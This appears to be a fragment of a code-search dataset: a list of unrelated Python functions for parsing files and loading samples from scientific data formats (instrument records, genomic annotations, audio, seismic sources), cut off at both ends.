len(dspec_matrix)\n if dspec_matrix_length != num_freq:\n error_message = 'Unexpected Number of frequencies in DSpec Matrix: expected %s, got %s'\\\n % (num_freq, dspec_matrix_length)\n log.warn(error_message)\n self._exception_callback(RecoverableSampleException(error_message))\n\n # Construct the parsed data list to hand over to the Data Particle class for particle creation\n parsed_data = [\n file_time, # ('file_time', 0, str),\n num_dir, # ('num_dir', 1, int),\n num_freq, # ('num_freq', 2, int),\n freq_w_band, # ('freq_w_band', 3, float),\n freq_0, # ('freq_0', 4, float),\n start_dir, # ('start_dir', 5, float),\n dspec_matrix # ('directional_surface_spectrum', 6, list)]\n ]\n\n # Extract a particle and append it to the record buffer\n particle = self._extract_sample(AdcptMDspecInstrumentDataParticle, None, parsed_data)\n self._record_buffer.append(particle)","def parse_file(file: CodeFile, config: dict):\n path = os.path.join(file.dir, f'{file.name}.{file.extension}')\n print(path)\n file_gen = (line for line in open(path))\n for line in file_gen:\n parse.apply_patterns(line.strip(), config['patterns'], file)","def load_file(self, dset_type):\r\n path = './data/{0}.{1}'.format(self.name, dset_type)\r\n try:\r\n file_contents = np.genfromtxt(path, missing_values=0, skip_header=0,\r\n dtype=int, delimiter=\",\")\r\n self.labels[dset_type] = file_contents[:, 0]\r\n self.examples[dset_type] = file_contents[:, 1:]\r\n\r\n except RuntimeError:\r\n print('ERROR: Unable to load file ''{0}''. Check path and try again.'.format(path))","def test_parse_samplesheet(self):\n run_dir = 'data/nanopore_data/run4/done_demuxing/20200104_1412_MN19414_AAU644_68125dc2'\n run = MinIONqc(run_dir, None, None)\n run.lims_samplesheet = 'data/nanopore_samplesheets/2020/DELIVERY_SQK-LSK109_AAU644_Samplesheet_24-594126.csv'\n run._parse_samplesheet()\n self.assertTrue(filecmp.cmp(run.nanoseq_sample_sheet, 'data/nanopore_samplesheets/expected/SQK-LSK109_sample_sheet.csv'))\n self.assertTrue(filecmp.cmp(run.anglerfish_sample_sheet, 'data/nanopore_samplesheets/expected/anglerfish_sample_sheet.csv'))","def _parse_header(self):\n # read the first bytes from the file\n header = self._stream_handle.read(HEADER_BYTES)\n match = HEADER_MATCHER.match(header)\n if not match:\n raise SampleException(\"File header does not match the header regex\")\n\n # update the state to show we have read the header\n self._increment_state(HEADER_BYTES)","def parse_text(self, source):\r\n\r\n global word_set\r\n line_count = 0\r\n word_count = 0\r\n self.vowels = self.analyse_vowels(source)\r\n\r\n with open(source) as f:\r\n for line in f:\r\n # Detect end of paragraph\r\n if line_count and not line.strip() or line.startswith(\"\\t\"):\r\n self.paragraph_sizes.add(line_count)\r\n line_count = 0\r\n \r\n words = line.split()\r\n for word in words:\r\n if not word:\r\n continue\r\n self.word_sizes.add(len(word))\r\n construction = self.calculate_construction(word)\r\n self.word_constructions.add(construction)\r\n word_count += 1\r\n\r\n # Check if this is the end of a line.\r\n if word[-1] in self.ENDING_PUNCTUATION:\r\n line_count += 1\r\n self.sentence_sizes.add(word_count)\r\n word_count = 0\r\n\r\n \r\n if not self.paragraph_sizes.is_empty():\r\n # Liable to not parse in certain sources.\r\n self.paragraph_sizes = probabilities.PARAGRAPH_SIZES","def read(self, featureType='exon'):\n\n logger.info('Reading %s' % self.fileName)\n self.fileHandle = open(self.fileName, 'r+b')\n bytePosition = self.fileHandle.tell()\n for line in self.fileHandle:\n row = line.decode('utf-8').rstrip().split(\"\\t\")\n if not row[0].startswith(\"#\") and row[2] == featureType:\n attributes = row[-1].split(\"; \")\n for attribute in attributes:\n if attribute.startswith(\"transcript_id\"):\n transcript_id = attribute.split(\" \")[-1][1:-1]\n self.features[transcript_id].append(bytePosition)\n self.geneIds[transcript_id] = gene_id\n if attribute.startswith(\"gene_id\"):\n gene_id = attribute.split(\" \")[-1][1:-1]\n bytePosition = self.fileHandle.tell()\n self.fileHandle.close()\n\n self.fileHandle = open(self.fileName, 'r+b')\n bytePosition = self.fileHandle.tell()\n for line in self.fileHandle:\n row = line.decode('utf-8').rstrip().split(\"\\t\")\n if not row[0].startswith(\"#\") and row[2] == featureType:\n attributes = row[-1].split(\"; \")\n for attribute in attributes:\n if attribute.startswith(\"gene_id\"):\n gene_id = attribute.split(\" \")[-1][1:-1]\n self.geneFeatures[gene_id].append(bytePosition)\n bytePosition = self.fileHandle.tell()\n self.fileHandle.close()\n\n logger.debug('Reading %s finished' % self.fileName)","def test_02_source(self):\n for activity in self.manager_stravagpx:\n self.assertEqual(activity.metadata.source_format, 'gpx')\n for activity in self.manager_garmintcx:\n self.assertEqual(activity.metadata.source_format, 'tcx')\n for activity in self.manager_fit:\n self.assertEqual(activity.metadata.source_format, 'fit')","def parse(cls, filepath, spectrum_type, labels, plformat):\n raise NotImplementedError(\"Subclass must implement abstract method.\")","def parse(source):\r\n #remove shared indentation\r\n source = dedent(source)\r\n print source\r\n\r\n structure = structure_parse(source)\r\n\r\n print structure.signature\r\n print structure.annotation\r\n print structure.body\r\n\r\n\r\n signature = signature_parse(structure.signature)\r\n\r\n kernel = kernel_parse(signature.kernel)\r\n inputs = input_parse(signature.input)\r\n\r\n print signature.kernel\r\n print signature.input\r\n print signature.output\r\n\r\n\r\n quit()","def scan_source(filename, def_re = None, cb = (lambda l,m : None) ) :\n import re\n\n if not def_re :\n storage_class = br\"(static\\s+)?\"\n type_and_name = br\"int\\s+(?P<n>test_[_a-zA-Z0-9]*)\";\n args=br\"\\(.*\\)\";\n def_re = re.compile(b\"\\s*\" + storage_class +\n type_and_name + b\"\\s*\" +\n args );\n\n tests = set()\n with open(filename, \"rb\") as f:\n for line in f:\n m = def_re.match(line)\n if not m : continue\n cb(line, m)\n tests.add( m.group('n').strip().decode('utf-8') )\n return tests","def selection(self):\n self.file.seek(0)\n start = self.file.readline().rstrip().upper()\n if start[0] == \">\":\n self.file_type = \"fasta\"\n elif start[0:1] == \"ID\":\n self.file_type = \"embl_gcg\"\n elif start[0:5] == \"LOCUS\":\n self.file_type = \"genbank\"\n elif start[0] == \";\":\n self.file_type = \"ig\"\n elif not re.search('[^GATCN]', start):\n self.file_type = \"plain\"\n else:\n self.file_type = None\n return self.file_type","def parse(cls, source):\n lines = list(cls._strip_lines(source.splitlines()))\n offset = 0\n blocks = {}\n while offset < len(lines):\n # Scan until we find a block.\n while offset < len(lines):\n header_match = re.match(r\"---+ (.*) ---+\", lines[offset])\n offset += 1\n if header_match:\n header = header_match.group(1)\n break\n config = {}\n while offset < len(lines):\n config_match = re.match(r\"^%\\s*([\\w_]+)\\s*:(.*)$\", lines[offset])\n if not config_match:\n break\n config[config_match.group(1).strip()] = config_match.group(2).strip()\n offset += 1\n block_lines = []\n while offset < len(lines) and (re.match(r\"---+ (.*) ---+\", lines[offset]) == None):\n block_lines.append(lines[offset])\n offset += 1\n if not header in blocks:\n blocks[header] = []\n blocks[header].append(SpecTestBlock.parse(header, config, block_lines))\n return ParsedSpecTest(blocks)","def read_from_file(self, file_type):\n\n doc_idx, sentence_list_idx, tag_idx = [], [], []\n\n file_name = self.config.parser[file_type + '_dir']\n with open(file_name, 'r') as f:\n\n new_batch_doc_idx, new_batch_sentence_list_idx,\\\n new_batch_tag_idx = [], [], []\n new_sentence_idx = [] # for a sentence\n # temprate variable to store current batch data\n\n for idx, line in enumerate(f.readlines()):\n if idx == 95:\n xu = 1\n contents = line.strip().split(' ')\n # an empty line, means seperator for two batch\n # doc id, means a new batch whose `docid` is doc id\n # a word and its tag sepaerated by a blank\n if len(contents) >= 2:\n word, role = contents[0], contents[1]\n new_batch_doc_idx.append(\n self.word_dict.get_word_index(word)\n )\n new_batch_tag_idx.append(\n self.tag_dict.get_word_index(role)\n )\n new_sentence_idx.append(\n self.word_dict.get_word_index(word)\n )\n if word is '.':\n # default: '.' is the seperator for two sentences.\n new_batch_sentence_list_idx.append(new_sentence_idx)\n new_sentence_idx = []\n elif len(contents) == 1 and contents[0] != '':\n\n new_batch_doc_idx, new_batch_sentence_list_idx,\\\n new_batch_tag_idx = [], [], []\n new_sentence_idx = [] # for a sentence\n # temprate variable to store current batch data\n\n elif len(contents) == 1 and contents[0] == ''\\\n and len(new_batch_doc_idx) < self.config.parser['HP_max_len']:\n\n # Sometimes a sentence is not terminated by `.`\n # It will cause bug without this judgement.\n if len(new_sentence_idx) > 0:\n new_batch_sentence_list_idx.append(new_sentence_idx)\n new_sentence_idx = []\n doc_idx.append(new_batch_doc_idx)\n sentence_list_idx.append(new_batch_sentence_list_idx)\n tag_idx.append(new_batch_tag_idx)\n\n return doc_idx, sentence_list_idx, tag_idx","def source_info(self,fname):\n\t\t# Has this source file already been parsed?\n\t\tif fname in self.src_info:\n\t\t\t# if yes return the previous parse-result\n\t\t\treturn self.src_info[fname]\n\t\t\n\t\t# Create a source file parse-info-container and ast-parse the sourcefile\n\t\tself.src_info[fname] = {}\n\t\tsrc_fp = open(fname,'rb')\n\t\tsrc = src_fp.read()\n\t\tsrc_fp.close()\n\t\tsrc_encoding = detect(src)\n\t\ta = ast.parse(src)\n\t\tdel src\n\t\tself.src_encoding[fname] = src_encoding['encoding']\n\t\t\n\t\t# Analyse the ast\n\t\tfor obj in a.body:\n\t\t\tif type(obj)==ast.ClassDef:\n\t\t\t\tc = obj\n\t\t\t\tfirstlineno = c.lineno\n\t\t\t\tlastlineno = c.lineno\n\t\t\t\tclass_doc_lines = []\n\t\t\t\tfirst_class_obj = True\n\t\t\t\tfor obj in c.body:\n\t\t\t\t\t# Detect documentation for class\n\t\t\t\t\tif first_class_obj and type(obj)==ast.Expr and type(obj.value)==ast.Str:\n\t\t\t\t\t\tfor doc_line in obj.value.s.strip().replace('\\r\\n','\\n').split('\\n'):\n\t\t\t\t\t\t\tclass_doc_lines += [doc_line.strip()]\n\t\t\t\t\t# Detect class methods\n\t\t\t\t\tif type(obj)==ast.FunctionDef:\n\t\t\t\t\t\tlastlineno = obj.lineno\n\t\t\t\t\tfirst_class_obj = False\n\t\t\t\tself.src_info[fname][c.name] = (firstlineno,lastlineno,class_doc_lines)\n\t\t\n\t\t# return the parse-info-container\n\t\treturn self.src_info[fname]","def __parse(self):\n lines = self.file.readlines()\n for i in range(0, len(lines)):\n line = lines[i]\n tokens = line.split()\n if tokens[0] == \"#start\":\n trial_name = tokens[1]\n trial = Trial(trial_name)\n self.trials[trial_name] = trial\n elif tokens[0] == \"#end\":\n continue\n else:\n date_str = tokens[0] + \" \" + tokens[1]\n date = datetime.strptime(date_str, \"%m/%d/%y %H:%M:%S\")\n sound_file = line[18:-1].strip()\n event = Event(date, sound_file, 0)\n trial.addevent(event)","def _read_source(self):\n \n if self.fileType == FTPythonCompiled or \\\n self.fileType == FTCompiledModule:\n return None\n \n filename = Filename(self.filename)\n filename.setExtension('py')\n try:\n file = open(filename, 'rU')\n except IOError:\n return None\n return file.read()","def parse_file(args):\n\n data_types = []\n headers = []\n\n with open(args.input, \"r\") as csvfile:\n reader = csv.reader(csvfile)\n have_columns = False\n\n for line in reader:\n if have_columns:\n index = 0\n for col in line:\n if col != \"\": \n if data_types[index] != TYPE_STRING and data_types[index] != TYPE_FLOAT:\n data_types[index] = get_data_type(col)\n # else:\n # data_types[index] = TYPE_STRING\n index += 1\n\n else:\n headers = line \n for col in line:\n data_types.append(\"\")\n have_columns = True \n\n return headers, data_types","def file_reader(fname, variant_type):\n type_dict = {}\n with open(fname, \"r\") as file:\n for line in file:\n variants = []\n # len(type_dict) is there to ensure there are only 10 results\n if not line.startswith(\"#\") and len(type_dict) < 10:\n info = line.split(\"\\t\")\n # info[7] contains the annotation string\n info_split = info[7].split(\"|\")\n # checks which variant it has and goes through the annotation where the missense is\n if variant_type == \"missense_variant\":\n indices = [i for i, x in enumerate(info_split) if x == \"missense_variant\"]\n if variant_type == \"frame_shift_variant\":\n indices = [i for i, x in enumerate(info_split) if x == \"frame_shift_variant\"]\n # pares the info from the variant string\n for index in indices:\n # the variant is always 8 indexes further from the wordt missense/frame_shift_variant\n variant = info_split[index + 8]\n variants.append(variant)\n gene_name = info_split[3]\n type_dict[gene_name] = variants\n return type_dict","def read(ftype, inDir, inSuffix, startTime, endTime):\n\n\tif ftype == 'ryan': return readRyan(inDir, inSuffix, startTime, endTime)\t\n\telif ftype == 'segmotion': return readSegmotion(inDir, inSuffix, startTime, endTime)\n\telif ftype == 'probsevere': return readProbSevere(inDir, inSuffix, startTime, endTime)","def read_data(filename, data_start_format, data_end_format,\n exclude=['(',')'], type_id = \"object\", data_type=float):\n data = []\n with open(filename, 'r') as data_file:\n grab_lines = False\n for line in data_file:\n if grab_lines and len([i for i in exclude if i in line])==0:\n data.append(data_type(line))\n if line.startswith(data_start_format):\n grab_lines = True\n elif grab_lines and (data_end_format in line):\n grab_lines = False\n elif type_id in line:\n file_type = get_words(line)\n return file_type, data","def __parse(self):\n # raw/objects: detect name, type, use major tag for type as parent node\n # raw/graphics: as object raw, but add TILE_PAGE\n # init: usually flat file, except\n # embark_profiles.txt: [PROFILE] is parent\n # interface.txt: [BIND] is parent (legacy will be flat)\n # world_gen.txt: [WORLD_GEN] is parent\n # Non-raw files (unsupported): init/arena.txt, subdirs of raw/objects\n parse_raw(self, self.read(self.filename))","def matchSource(self, line, thing):\r\n m = thing.pattern.match(line)\r\n if m and self.matchClasses(thing.classes):\r\n return (thing, m.groups(), m.groupdict())","def load_sample(self):\n\n self.load_images(self.folder + \"/sampleSet.txt\")\n self.load_traces(self.folder + \"/sampleLabel.txt\")","def read(self, featureType='miRNA_primary_transcript'):\n logger.info('Reading %s' % self.fileName)\n self.fileHandle = open(self.fileName, 'r+b')\n bytePosition = self.fileHandle.tell()\n for line in self.fileHandle:\n row = line.decode('utf-8').rstrip().split(\"\\t\")\n if not row[0].startswith(\"#\") and row[2] == featureType:\n attributes = row[-1].split(\";\")\n for attribute in attributes:\n if attribute.startswith('Name'):\n mirbase_name = attribute.split(\"=\")[-1]\n self.features[mirbase_name] = bytePosition\n bytePosition = self.fileHandle.tell()\n self.fileHandle.close()\n logger.debug('Reading %s finished' % self.fileName)","def get_sample_template(self) -> Sample:\n new = Sample.parse_file(self.example_sample)\n new.reset_id()\n return new","def _generate_sample(self, sample):\n # handle paths or pd.Series as input for `sample`\n if type(sample) == str or issubclass(type(sample), Path):\n sample = AudioSample(sample) # initialize with source = file path\n else:\n assert isinstance(sample, AudioSample), (\n \"sample must be AudioSample OR file path (str or pathlib.Path), \"\n f\"was {type(sample)}\"\n )\n\n # add attributes to the sample that might be needed by actions in the pipeline\n sample.preprocessor = self\n sample.target_duration = self.sample_duration\n\n return sample","def __init__(self,\n fileName,\n realFileName=None,\n prequelFileName=None,\n preErrorMessages=(), # Type to be checked\n doNotReadFiles=False,\n allowedFeatures=()):\n #type: (Text, Optional[Text], Optional[Text], List[Any], bool, List[Text]) -> None\n\n assert fileName is not None\n\n self.fileName=fileName #type: Text\n \"\"\" The filename as given when creating the source file\"\"\"\n\n self.prequelFileName=(\n fileName if prequelFileName is None\n else prequelFileName\n )\n \"\"\" \n The named of the unprocessed file or the filename.\n This is useful when a preprocessor is used. \n \"\"\"\n\n self.realFileName=(\n None if doNotReadFiles # filled later\n else (\n fileName if realFileName is None\n else realFileName))\n \"\"\" \n The name of the actual file name that is parsed.\n This is almost never used so don't use it unless\n you know what you are doing. \n \"\"\"\n\n # This should be after the definition of\n # filenames\n super(SourceFile, self).__init__(parents=[])\n\n\n if len(preErrorMessages) >= 1:\n for msg in preErrorMessages:\n Issue(\n origin=self,\n level=Levels.Error,\n message=msg\n )\n return\n\n self.sourceLines=[] #type: List[Text]\n \"\"\"\n The source lines of the 'logical' file.\n It will be the same as realSourceLines \n if not isBasedInHiddenFile. \n Filled by doReadFile but if doReadFile raise \n an exception, the sourceLines will still be of the\n appropriate type (no lines)\n The caller must call doReadFile explictely\n if doNotReadFiles.\n \"\"\"\n\n self.realSourceLines=[] #type: List[Text]\n \"\"\"\n The source lines of the 'real' file.\n It will be the same as sourceLines \n if not isBasedInHiddenFile. \n Filled by doReadFile but if doReadFile raise \n an exception, the sourceLines will still be of the\n appropriate type (no lines)\n The caller must call doReadFile explictely\n if doNotReadFiles.\n \"\"\"\n\n self.allowedFeatures=allowedFeatures #type: List[Text]\n \"\"\"\n A list of feature names that could be issued\n in the parser.\n \"\"\"\n\n\n\n\n if not doNotReadFiles:\n self.doReadFiles(\n logicalFileName=self.fileName,\n realFileName=self.realFileName)","def test_parsing_action(self):\n self.grammar.parse(open(TEST_ASSETS + '/test_item.txt').read())","def read_sample(myfilestr=\"MAY06001.SA3_CM_D545\"):\n detdata,metadata=data.readNCNRData(myfilestr) #note that it should be None for the default\n return SansData(detdata, metadata)","def sample_type(self, sample_type):\n sql = \"\"\"UPDATE barcodes.sample\n SET sample_type = %s\n WHERE sample_id = %s\"\"\"\n with pm.sql.TRN:\n pm.sql.TRN.add(sql, [sample_type, self.id])","def parse(unused, source_file_path, particle_data_handler):\n\n # Get the flort file name from the ctd file name\n head, tail = os.path.split(source_file_path)\n e_tail = tail.replace('C', 'E')\n\n if e_tail == tail:\n log.error('Could not generate e file name')\n return particle_data_handler\n\n flort_source_file_path = os.path.join(head, e_tail)\n\n # Parse the flort file to get a list of (time, pressure) tuples.\n try:\n with open(flort_source_file_path, 'rb') as flort_stream_handle:\n driver = FlortKnStcImodemDriver(unused, flort_stream_handle, ParticleDataHandler())\n e_file_time_pressure_tuples = driver.get_time_pressure_tuples()\n except Exception as e:\n log.error(e)\n return particle_data_handler\n\n if not e_file_time_pressure_tuples:\n log.error('Time-Pressure tuples not extracted from %s', flort_source_file_path)\n return particle_data_handler\n\n # Parse the ctd file and use the e_file_time_pressure_tuples to generate\n # the internal timestamps of the particles\n with open(source_file_path, 'rb') as stream_handle:\n driver = DofstKWfpRecoveredDriver(\n unused, stream_handle, particle_data_handler, e_file_time_pressure_tuples)\n driver.processFileStream()\n\n return particle_data_handler","def test_missing_source_file(self):\n stream_handle = open(os.path.join(RESOURCE_PATH,\n 'no_source_file_SNA_SNA.txt'), MODE_ASCII_READ)\n\n self.create_parser(stream_handle)\n\n # get A-E, without metadata\n particles = self.parser.get_records(5)\n\n # check all the values against expected results.\n self.assert_particles(particles, 'no_source_file_SNA_SNA_telem.yml', RESOURCE_PATH)\n\n # confirm an exception occurred\n self.assertEqual(len(self.exception_callback_value), 1)\n self.assert_(isinstance(self.exception_callback_value[0], RecoverableSampleException))\n\n stream_handle.close()","def test_parse_source_xml(self):\n\n # Path to the source xml\n file = self.xmlfilepath + os.sep + \"sourcefile.xml\"\n\n # Path to non existent source file\n in_file = self.xmlfilepath + os.sep + \"sourcefile.pwg\"\n\n # Test for correct data\n # NOTE : For this test case to pass the source xml file should be\n # present in the download path\n self.assertEqual(\n parse_source_xml(file),\n (\n \"DLTINS_20210117_01of01.zip\",\n \"http://firds.esma.europa.eu/firds/DLTINS_20210117_01of01.zip\",\n ),\n )\n\n # Test for incorrect data\n self.assertEqual(parse_source_xml(in_file), None)","def read(self, source):\n raise NotImplementedError( 'Needs implementation' )","def __parse_file(self):\n\n if PY2:\n text = lambda v: v.decode('utf-8')\n else:\n text = lambda v: v\n with open(self._file, 'r') as csvfile:\n reader = csv.reader(csvfile, delimiter=';')\n for row in reader:\n try:\n siruta = int(row[0])\n except ValueError:\n self.__notify_error(\"Line %s has an invalid SIRUTA code\" % str(row))\n continue\n if not self.siruta_is_valid(siruta):\n self.__notify_error(\"SIRUTA code %d is not valid\" % siruta)\n if len(row) != 15:\n self.__notify_error(\"Line %s does not have 15 elements\" % str(row))\n continue\n if row[7] == \"1\":\n urban = True\n else:\n urban = False\n self._data[siruta] = {\n 'siruta': siruta,\n 'name': text(row[1]).translate(self._dia_trans),\n 'postcode': int(row[2]),\n 'county': int(row[3]),\n 'sirutasup': int(row[4]),\n 'type': int(row[5]),\n 'level': text(row[6]),\n 'urban': urban,\n 'region': int(row[8]),\n }","def parse_raw(data):\n for sample in data:\n assert \"src\" in sample\n json_line = sample[\"src\"]\n obj = json.loads(json_line)\n assert \"key\" in obj\n assert \"wav\" in obj\n assert \"txt\" in obj\n key = AishellKeyMapper.encode(obj[\"key\"])\n wav_file = obj[\"wav\"]\n txt = obj[\"txt\"]\n try:\n if \"start\" in obj:\n assert \"end\" in obj\n sample_rate = torchaudio.backend.sox_io_backend.info(wav_file).sample_rate\n start_frame = int(obj[\"start\"] * sample_rate)\n end_frame = int(obj[\"end\"] * sample_rate)\n waveform, _ = torchaudio.backend.sox_io_backend.load(\n filepath=wav_file, num_frames=end_frame - start_frame, frame_offset=start_frame\n )\n else:\n waveform, sample_rate = torchaudio.load(wav_file)\n example = dict(key=key, txt=txt, wav=waveform, sample_rate=sample_rate)\n yield example\n except Exception as ex:\n logging.warning(\"Failed to read {}\".format(wav_file))","def interpret_file(self, file, source=None, process_percents=True):\n\n for pline in self.parser.parse_file(file,\n source=source,\n process_percents=process_percents):\n action = self.execute(pline)\n if action is None:\n pass\n elif action == 'emergency stop':\n return 'Emergency Stop'\n elif action == 'pause program':\n return 'Pause'\n elif action == 'optional pause program':\n return 'Optional Pause'\n elif action == 'end program':\n return 'End'\n else:\n raise core.GCodeException('unknown action: %r' % (action,))","def test_sample_one_sample_type(self):\r\n self.assertEqual(self.test_sample.sampleType, 'TUMOUR')","def _parse(\n self, source: str, name: t.Optional[str], filename: t.Optional[str]\n ) -> nodes.Template:\n return Parser(self, source, name, filename).parse()","def load_data(self, **kwargs):\n type = kwargs['type']\n file = kwargs['file']\n with open(file, 'r') as data_file:\n for line in data_file:\n line = line[:-1]\n items_dict = ast.literal_eval(line)\n\n item = type.from_dict(items_dict)\n\n self.add_item(item, lambda i: i.uid)","def test_parse_sample_sheet(self):\n pass","def process_based_on_type(file_path):\n\t# Is this a file?\n\tif os.path.isfile(file_path):\n\t\tprocess_file(file_path)\n\t# Or is it a directory?\n\telif os.path.isdir(file_path):\n\t\tprocess_directory(file_path)","def read_sample(sample_path):\n files = os.listdir(sample_path)\n json_path = [f for f in files if f.endswith('_read-info.json')]\n assert len(json_path) == 1, 'There should be exactly 1 *_read-info.json file in the sample (.smpl)'\n # get base for sample\n with open(os.path.join(sample_path, json_path[0]), 'r') as f:\n sample = json.load(f)\n # get sample info\n info_path = [f for f in files if f.endswith('info.csv')]\n assert len(info_path) == 1, 'There should be exactly 1 *_info.csv file in the sample (.smpl)'\n sample['info'] = pd.read_csv(os.path.join(sample_path, info_path[0]))\n info_path = os.path.join(sample_path, info_path[0])\n # get individual sample\n regex = re.compile(r'id-\\d*_t-\\d*')\n pairs = [f for f in files if len(regex.findall(f)) > 0]\n for str_pair in pairs:\n pair_dir = os.path.join(sample_path, str_pair)\n pair_dict = {}\n # get df\n df_path = os.path.join(pair_dir, str_pair + '_df.csv')\n pair_dict['df'] = pd.read_csv(df_path)\n pair_dict['df_path'] = df_path\n pair_dict['info_path'] = info_path\n # get tracks\n tracks_path = os.path.join(pair_dir, str_pair + '_tracks.zarr')\n pair_dict['tracks'] = zarr.open(tracks_path)\n # get b_box\n bbox_path = os.path.join(pair_dir, str_pair + '_bbox.json')\n with open(bbox_path, 'r') as f:\n bbox = json.load(f)\n new_bbox = {}\n for key in bbox.keys():\n args = list(bbox[key])\n new_bbox[key] = slice(*args)\n pair_dict['b_box'] = new_bbox\n # find out if corrs exist and read if so\n corr_path = [f for f in os.listdir(pair_dir) if f.endswith('_corr.json')]\n if len(corr_path) > 0:\n with open(os.path.join(pair_dir, corr_path[0]), 'r') as f:\n corr = json.load(f)\n pair_dict['corr'] = corr\n # if image exists, read\n img_path = os.path.join(pair_dir, str_pair + '_image.zarr')\n if os.path.exists(img_path):\n img = zarr.open(img_path)\n #print(img, img_path)\n pair_dict['image'] = img\n # if labels exist, read\n lab_path = os.path.join(pair_dir, str_pair + '_labels.zarr')\n if os.path.exists(lab_path):\n lab = zarr.open(lab_path)\n #print(lab.shape)\n pair_dict['labels'] = lab\n # add pair to sample\n id_re = re.compile(r'id-\\d*')\n ID = id_re.findall(str_pair)[0][3:]\n t_re = re.compile(r't-\\d*')\n t = t_re.findall(str_pair)[0][2:]\n pair = (int(ID), int(t))\n sample[pair] = pair_dict\n #print(str_pair, pair)\n #print(list(sample.keys()))\n #print(list(sample[eval(pairs[0])].keys()))\n return sample","def define_source(self,srcx,srcz,src_type=1,freq=50,amp=1e+16,Mxx=1,Myy=1,Mzz=1,Mxy=0,Mxz=0,Myz=0):\n self.source['srcx']=srcx\n self.source['srcz']=srcz\n self.source['freq']=freq\n self.source['amp']=amp\n self.source['src_type']=src_type\n \n if src_type==4:\n self.source['mt']=[Mxx,Myy,Mzz,Mxy,Mxz,Myz]","def load_gen_data(gen_file, sample_file):\n\n gen_data=open(gen_file, \"r\")\n sample_data=open(sample_file, \"r\")\n\n sample_names=[]\n\n # First two lines are headers\n sample_data.next()\n sample_data.next()\n\n for line in sample_data:\n sample_names.append(line.split(\" \")[0])\n \n snp_names=[]\n snp_pos=[]\n genotype_data=[]\n\n for line in gen_data:\n data=line[:-1] # Remove \\n from the end of the line\n data=data.rstrip().split(\" \")\n snp_names.append(data[1])\n snp_pos.append(int(data[2]))\n gt = data[5:]\n if not len(gt)==3*len(sample_names): \n print gt\n raise Exception(\"Bad data line: %d samples and %d entries\" % (len(sample_names), len(gt)) )\n gt = [x.index(max(x)) for x in zip(gt[1::3],gt[2::3], gt[3::3])]\n genotype_data.append(gt)\n\n return {\"sample_names\":sample_names, \"snp_names\":snp_names, \"snp_pos\":snp_pos, \"genotype_data\":genotype_data}","def load_sample(test_file):\n sample = Sample()\n sample.fname = test_file\n with open(test_file) as f:\n test_str = f.read()\n test_str = test_str.strip() # ignore any leading/trailing newlines, etc.\n parts = test_str.split('\\n\\n') # each part of test file is separated by a blank line\n assert len(parts) == 2, \"Expected 2 parts, found \" + str(len(parts)) + \" in \" + str(test_file)\n sample.txt = parts[0].strip()\n arg_txt = parts[1].strip()\n # safely parse dict from string\n sample.arg = ast.literal_eval(arg_txt)\n return sample","def parseFile(self, filename):\n self.__filename = filename\n\n if os.path.isfile(filename) == False:\n self.LogError(\"Unable to open input file \" + str(filename))\n raise IOError\n\n self.__file = open(filename, 'r')\n\n while True:\n string = self.__file.readline()\n if string == \"\":\n break\n\n if string.upper().find(\"[SYSTEM]\") != -1:\n #print string.upper()\n self.__parseSystem()\n\n if string.upper().find(\"[GRASS]\") != -1:\n #print string.upper()\n self.__parseGrass()\n\n if string.upper().find(\"[COMPLEXDATA]\") != -1:\n #print string.upper()\n self.complexDataList.append(ComplexData(self.__file))\n\n if string.upper().find(\"[COMPLEXOUTPUT]\") != -1:\n #print string.upper()\n self.complexOutputList.append(ComplexOutput(self.__file))\n\n if string.upper().find(\"[LITERALDATA]\") != -1:\n #print string.upper()\n LD = LiteralData(self.__file)\n if LD.identifier == 'multi_output':\n self.LogWarning(\"multi_output: \" + LD.value.upper())\n if LD.value.upper() == 'TRUE':\n self.multiOutput = True\n else:\n self.literalDataList.append(LD)","def parse(self, filename: str, input_format='csv', **kwargs):\n if 'delimiter' not in kwargs:\n kwargs['delimiter'] = self._extention_types[input_format]\n if filename.endswith('.tar'):\n with tarfile.open(filename) as tar:\n for member in tar.getmembers():\n f = tar.extractfile(member)\n df = pd.read_csv(f, comment='#', **kwargs) # type: pd.DataFrame\n if member.name == 'nodes.csv':\n self.load_nodes(df)\n elif member.name == 'edges.csv':\n self.load_edges(df)\n else:\n raise Exception('Tar file contains unrecognized member {}'.format(member.name))\n else:\n df = pd.read_csv(filename, comment='#', **kwargs) # type: pd.DataFrame\n self.load(df)","def gather_sample(self, my_file, collector=None):\n\n pass","def get_source(self, format: str) -> Source:\n if format in SOURCE_MAP:\n s = SOURCE_MAP[format]\n return s(self)\n else:\n raise TypeError(f\"{format} in an unrecognized format\")","def parse_records(file_name, record_type):\n\n tree = ET.parse(file_name)\n root = tree.getroot() \n\n records = []\n\n for entry in root.findall('Record'):\n type = entry.get('type')\n if type == record_type:\n value = float(entry.get('value'))\n unit = entry.get('unit')\n source = entry.get('sourceName')\n creation_date = datetime_from_string(entry.get('creationDate'))\n start_date = datetime_from_string(entry.get('startDate'))\n end_date = datetime_from_string(entry.get('endDate'))\n \n record = Record(\n type, value, unit, source, creation_date, start_date, end_date)\n\n records.append(record)\n\n return sorted(records, key=lambda record: record.start_date)","def parse(filename_or_obj):\n if isinstance(filename_or_obj, basestring):\n # Anything ObsPy can read.\n try:\n src = obspy.readEvents(filename_or_obj)\n except:\n pass\n else:\n return Source.parse(src)\n # CMT solution file.\n try:\n return Source.from_CMTSOLUTION_file(filename_or_obj)\n except:\n pass\n raise SourceParseError(\"Could not parse the given source.\")\n elif isinstance(filename_or_obj, obspy.Catalog):\n if len(filename_or_obj) == 0:\n raise SourceParseError(\"Event catalog contains zero events.\")\n elif len(filename_or_obj) > 1:\n raise SourceParseError(\n \"Event catalog contains %i events. Only one is allowed. \"\n \"Please parse seperately.\" % len(filename_or_obj))\n return Source.parse(filename_or_obj[0])\n elif isinstance(filename_or_obj, obspy.core.event.Event):\n ev = filename_or_obj\n if not ev.origins:\n raise SourceParseError(\"Event must contain an origin.\")\n if not ev.focal_mechanisms:\n raise SourceParseError(\"Event must contain a focal mechanism.\")\n org = ev.preferred_origin() or ev.origins[0]\n fm = ev.preferred_focal_mechanism() or ev.focal_mechansisms[0]\n if not fm.moment_tensor:\n raise SourceParseError(\"Event must contain a moment tensor.\")\n t = fm.moment_tensor.tensor\n return Source(\n latitude=org.latitude,\n longitude=org.longitude,\n depth_in_m=org.depth,\n m_rr=t.m_rr,\n m_tt=t.m_tt,\n m_pp=t.m_pp,\n m_rt=t.m_rt,\n m_rp=t.m_rp,\n m_tp=t.m_tp)\n else:\n raise NotImplementedError","def __init__(\n self,\n sample_path,\n sample_name=None,\n sample_index=None,\n lane_no=None,\n read_no=None,\n is_index=None,\n 